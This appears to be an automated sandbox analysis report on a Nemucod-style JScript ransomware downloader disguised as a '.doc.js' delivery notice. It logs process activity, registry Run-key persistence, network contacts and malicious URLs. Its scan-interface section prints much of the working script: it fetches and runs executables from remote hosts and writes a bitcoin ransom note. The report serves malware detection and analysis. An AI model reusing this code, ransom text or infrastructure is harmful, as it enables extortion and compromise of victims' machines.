Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: efswrt.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: efswrt.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: efswrt.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Section loaded: msvcp110_win.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Automated click: OK
Source: C:\Windows\System32\wscript.exe	Automated click: OK
Source: C:\Windows\System32\cmd.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.CreateObject("WScript.Shell"); var fn=ws.ExpandEnvironmentStrings("%TEMP%")+cs+"a"; var pd=ws.ExpandEnvironmentStrings("%TEMP%")+cs+"php4ts.dll"; var xo=WScript.CreateObject("Msxml2.XMLHTTP"); var xa=WScript.CreateObject("ADODB.Stream"); var fo=WScript.CreateObject("Scripting.FileSystemObject"); if (!fo.FileExists(fn+".txt")) { for(var n=1;n<=5;n++) { for(var i=ld;i<ll.length;i++) { var dn=0; try { xo.open("GET","http://"+ll[i]+"/counter/?ad="+ad+"&id="+id+"&rnd="+i+n, false); xo.send(); if(xo.status==200) { xa.open(); xa.type=1; xa.write(xo.responseBody); if(xa.size>1000) { dn=1; if(n<=2){xa.saveToFile(fn+n+".exe",2);try{ws.Run(fn+n+".exe",1,0);}catch(er){};} else if(n==3){xa.saveToFile(fn+".exe",2);} else if(n==4){xa.saveToFile(pd,2);} else if(n==5){xa.saveToFile(fn+".php",2);} }; xa.close(); }; if(dn==1){ld=i;break;}; } catch(er){}; }; }; if(fo.FileExists(fn+".exe") && fo.FileExists(pd) && fo.FileExists(fn+".php")) { var fp=fo.CreateTextFile(fn+".txt",true); fp.WriteLine("ATTENTION!"); fp.WriteLine(""); fp.WriteLine("All your documents, photos, databases and other important personal files"); fp.WriteLine("were encrypted using strong RSA-1024 algorithm with a unique key."); fp.WriteLine("To restore your files you have to pay "+bc+" BTC (bitcoins)."); fp.WriteLine("Please follow this manual:"); fp.WriteLine(""); fp.WriteLine("1. Create Bitcoin wallet here:"); fp.WriteLine(""); fp.WriteLine(" https://blockchain.info/wallet/new"); fp.WriteLine(""); fp.WriteLine("2. Buy "+bc+" BTC with cash, using search here:"); fp.WriteLine(""); fp.WriteLine(" https://localbitcoins.com/buy_bitcoins"); fp.WriteLine(""); fp.WriteLine("3. Send "+bc+" BTC to this Bitcoin address:"); fp.WriteLine(""); fp.WriteLine(" "+ad); fp.WriteLine(""); fp.WriteLine("4. Open one of the following links in your browser to download decryptor:"); fp.WriteLine(""); for (var i=0;i<ll.length;i++) { fp.WriteLine(" http://"+ll[i]+"/counter/?a="+ad); }; fp.WriteLine(""); fp.WriteLine("5. Run decryptor to restore your files."); fp.WriteLine(""); fp.WriteLine("PLEASE REMEMBER:"); fp.WriteLine(""); fp.WriteLine(" - If you do not pay in 3 days YOU LOOSE ALL YOUR FILES."); fp.WriteLine(" - Nobody can help you except us."); fp.WriteLine(" - It`s useless to reinstall Windows, update antivirus software, etc."); fp.WriteLine(" - Your files can be decrypted only after you make payment."); fp.WriteLine(" - You can find this manual on your desktop (DECRYPT.txt)."); fp.Close(); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCU"+cs+"SOFTWARE"+cs+"Microsoft"+cs+"Windows"+cs+"CurrentVersion"+cs+"Run"+cq+" /V "+cq+"Crypted"+cq+" /t REG_SZ /F /D "+cq+fn+".txt"+cq,0,0); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCR"+cs+".crypted"+cq+" /ve /t REG_SZ /F /D "+cq+"Crypted"+cq,0,0); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCR"+cs+"Crypted"+cs+"shell"+cs+"open"+cs+"command"+cq+" /ve /t REG_SZ /F /D "+cq+"notepad.exe "+cs+cq+fn+".txt"+cs+cq+cq,0,0); ws.Run("%COMSPEC% /c copy /y "+cq+

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior

Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Crypted			Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Crypted			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: doc.js

Static PE information: Delivery_Notification_00000260791.doc.js

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: wscript.exe, 00000001.00000003.1541921743.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549805136.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPP
Source: wscript.exe, 00000001.00000003.1541921743.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1549805136.0000018C8EC7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWY
Source: wscript.exe, 00000001.00000002.1550034045.0000018C8ECD0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1546354967.0000018C8ECD0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1541921743.0000018C8ECD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 187.1.136.13 80	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 65.109.23.226 443	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 188.114.97.3 80	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c REG ADD "HKCR\.crypted" /ve /t REG_SZ /F /D "Crypted"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c REG ADD "HKCR\Crypted\shell\open\command" /ve /t REG_SZ /F /D "notepad.exe \"C:\Users\user~1\AppData\Local\Temp\a.txt\""	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\user~1\AppData\Local\Temp\a.txt" "C:\Users\user\AppData\Roaming\Desktop\DECRYPT.txt"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c copy /y "C:\Users\user~1\AppData\Local\Temp\a.txt" "C:\Users\user\Desktop\DECRYPT.txt"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user~1\AppData\Local\Temp\a.exe "C:\Users\user~1\AppData\Local\Temp\a.php"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c notepad.exe "C:\Users\user~1\AppData\Local\Temp\a.txt"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\a.php"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\a.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c DEL "C:\Users\user~1\AppData\Local\Temp\php4ts.dll"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Crypted" /t REG_SZ /F /D "C:\Users\user~1\AppData\Local\Temp\a.txt"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCR\.crypted" /ve /t REG_SZ /F /D "Crypted"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG ADD "HKCR\Crypted\shell\open\command" /ve /t REG_SZ /F /D "notepad.exe \"C:\Users\user~1\AppData\Local\Temp\a.txt\""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\notepad.exe notepad.exe "C:\Users\user~1\AppData\Local\Temp\a.txt"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\a.txt VolumeInformation	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\a.txt VolumeInformation	Jump to behavior
Source: C:\Windows\System32\notepad.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\a.txt VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	52 Scripting	Valid Accounts	1 Command and Scripting Interpreter	52 Scripting	111 Process Injection	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Modify Registry	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	111 Process Injection	Security Account Manager	12 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Delivery_Notification_00000260791.doc.js	53%	ReversingLabs	Script-JS.Downloader.Nemucod
Delivery_Notification_00000260791.doc.js	100%	Avira	HTML/ExpKit.Gen2

Source	Detection	Scanner	Label
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42	100%	Avira URL Cloud	malware
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45	100%	Avira URL Cloud	malware
https://radostdetym.ru/img/185_479.jpg	100%	Avira URL Cloud	malware
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43	100%	Avira URL Cloud	malware
http://cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=31	100%	Avira URL Cloud	malware
https://radostdetym.ru/img	100%	Avira URL Cloud	malware
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0P	100%	Avira URL Cloud	malware
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44	100%	Avira URL Cloud	malware
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&	100%	Avira URL Cloud	malware
https://radostdetym.ru/amp	100%	Avira URL Cloud	malware
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=42	100%	Avira URL Cloud	malware
https://radostdetym.ru/img/174_91.jpg	100%	Avira URL Cloud	malware
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=44	100%	Avira URL Cloud	malware
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41	100%	Avira URL Cloud	malware
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=43	100%	Avira URL Cloud	malware
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-	100%	Avira URL Cloud	malware
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45	100%	Avira URL Cloud	malware
https://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c	100%	Avira URL Cloud	malware
http://radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=41	100%	Avira URL Cloud	malware
http://cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFA	100%	Avira URL Cloud	malware
http://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kE	100%	Avira URL Cloud	malware
https://radostdetym.ru/img/662_460.jpg	100%	Avira URL Cloud	malware
http://xn--80adi0bdhdbmg.xn--p1ai/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	0%	Avira URL Cloud	safe
http://radostdetym.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	100%	Avira URL Cloud	malware
http://xn--80adi0bdhdbmg.xn--p1ai/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5f	0%	Avira URL Cloud	safe
https://radostdetym.ru/img/341_349.jpg	100%	Avira URL Cloud	malware
http://lacampagnetropicana.com/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.htmy	100%	Avira URL Cloud	malware
http://xn--80adi0bdhdbmg.xn--p1ai/counter/?ad=1JXSXybzEjjRJQDbVngTy7d	0%	Avira URL Cloud	safe
https://radostdetym.ru/img/814_239.jpg	100%	Avira URL Cloud	malware
https://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjb	100%	Avira URL Cloud	malware
https://radostdetym.ru/img/971_401.jpg	100%	Avira URL Cloud	malware
http://radostdetym.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDNrnd=44	100%	Avira URL Cloud	malware
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3	100%	Avira URL Cloud	malware
https://radostdetym.ru	100%	Avira URL Cloud	malware
http://cestasgabrasil.com.br/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN.htmm	100%	Avira URL Cloud	malware
http://cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-	100%	Avira URL Cloud	malware
http://jpnovo.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDNUlNAtnXA&rnd=44322U	100%	Avira URL Cloud	malware
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngT:	100%	Avira URL Cloud	malware
http://lacampagnetropicana.com/counter/?ad=1	100%	Avira URL Cloud	malware
http://www.cestasgabrasil.com.br/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fj	100%	Avira URL Cloud	malware
http://jpnovo.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rW	100%	Avira URL Cloud	malware
http://lacampagnetropicana.com/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	100%	Avira URL Cloud	malware
http://jpnovo.ru/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-B	100%	Avira URL Cloud	malware
https://radostdetym.ru/img/215_944.jpg	100%	Avira URL Cloud	malware
http://radostdetym.ru/counter/?ad=1JXSXybzEjjRJQDbVngT::	100%	Avira URL Cloud	malware
http://jpnovo.ru/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	100%	Avira URL Cloud	malware
http://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=21	100%	Avira URL Cloud	malware
http://lacampagnetropicana.com/counter/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbO	100%	Avira URL Cloud	malware
http://cestasgabrasil.com.br/counter/?a=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN	100%	Avira URL Cloud	malware
https://radostdetym.ru/img/987_908.jpg	100%	Avira URL Cloud	malware
https://lacampagnetropicana.com/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
lacampagnetropicana.com	65.109.23.226	true	true	unknown
cestasgabrasil.com.br	187.1.136.13	true	true	unknown
radostdetym.ru	188.114.97.3	true	true	unknown
web15f01.uni5.net	187.1.136.13	true	true	unknown
jpnovo.ru	unknown	unknown	true	unknown
www.cestasgabrasil.com.br	unknown	unknown	false	unknown
xn--80adi0bdhdbmg.xn--p1ai	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
